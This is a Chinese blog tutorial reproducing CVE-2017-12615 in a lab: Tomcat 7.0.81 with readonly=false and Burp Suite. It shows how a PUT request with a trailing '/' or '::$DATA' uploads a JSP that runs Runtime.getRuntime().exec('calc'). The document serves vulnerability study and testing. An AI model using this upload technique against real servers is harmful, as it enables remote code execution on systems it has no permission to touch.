栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

【CVE-2017-12615】漏洞复现完整教程

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

【CVE-2017-12615】漏洞复现完整教程

【CVE-2017-12615】漏洞复现完整教程
  • 0.环境装备
  • 1.修改web.xml
  • 2.创建一个可上传文件的jsp
  • 3.启动
    • 打开Burp Suite
    • 随便选择一个文件并提交
    • 拦截到流量
  • 4.关键一步

前言:CVE-2017-12615是一个比较老的漏洞,出现在tomcat7.0.0 - 7.0.81的版本,攻击者可以任意运行远程恶意代码,网上也有很多相关资料,到复现流程都不是很完整,本文重点从环境入手,复现该漏洞。

0.环境装备
  1. JDK1.8运行环境(https://www.oracle.com/java/technologies/javase/javase8u211-later-archive-downloads.html)
  2. tomcat7.0.81(https://archive.apache.org/dist/tomcat/tomcat-7/)
  3. Burp Suite,企业版收费,使用社区版即可(https://portswigger.net/burp/communitydownload)
  4. 一个简单的可运行jsp的maven项目
1.修改web.xml

进入tomcat下的conf目录,打开web.xml找到

    
        default
        org.apache.catalina.servlets.DefaultServlet
        
            debug
            0
        
        
            listings
            false
        
        1
    

servlet标签下添加

    
        readonly
        false
    
2.创建一个可上传文件的jsp

本文使用的是commons-fileupload工具类做上传操作,当然也可以自己写。
pom.xml

        
            commons-fileupload
            commons-fileupload
            1.3.1
        

编写file-upload2.html、file-upload2.jsp,并添加到maven项目中




    
    File upload


用户名:

jsp:

<%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
<%@ page import="org.apache.commons.fileupload.FileItemStream" %>
<%@ page import="org.apache.commons.fileupload.FileUploadException" %>
<%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
<%@ page import="org.apache.commons.fileupload.util.Streams" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    if (ServletFileUpload.isMultipartContent(request)) {
        ServletFileUpload fileUpload = new ServletFileUpload();

        try {
            FileItemIterator fileItemIterator = fileUpload.getItemIterator(request);

            while (fileItemIterator.hasNext()) {
                FileItemStream fileItemStream = fileItemIterator.next();
                String         fieldName      = fileItemStream.getFieldName();// 字段名称

                if (fileItemStream.isFormField()) {
                    String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值
                    out.println(fieldName + "=" + fieldValue);
                } else {
                    out.println(fieldName + "=" + fileItemStream.getName());
                }
            }
        } catch (FileUploadException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
%>
3.启动 打开Burp Suite
  1. 进入proxy页面

    我比较喜欢用自带的浏览器,不需要做代理设置,而且是google的内核,功能齐全。
    打开Intercept,拦截jsp访问流量
随便选择一个文件并提交

拦截到流量

4.关键一步
  1. 为了可以复用,我们点右键,选择【send to repeater】

    2 将POST改为PUT,jsp后添加【/】或者【::$DATA】,删除body,改为
<% out.println("hello");%>
<%Runtime.getRuntime().exec("calc");%>

如图

点击【send】
此时返回的是204,则恶意代码注入成功
将路径【/】删除,恢复正常路径,再次【send】

见证奇迹的时刻,每次请求jsp的时候,可以看到打印出hello字样,并且打开了计算器,大功告成!
​
如有其他问题可联系作者:

手机、微信:15385125253

QQ:987319557

公司名称:开源互联网安全技术有限公司
捍卫中国软件安全!

原创作者:谢少评
原创不易,一份也是爱:

微信: 支付宝:

​​

​​​

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/932770.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号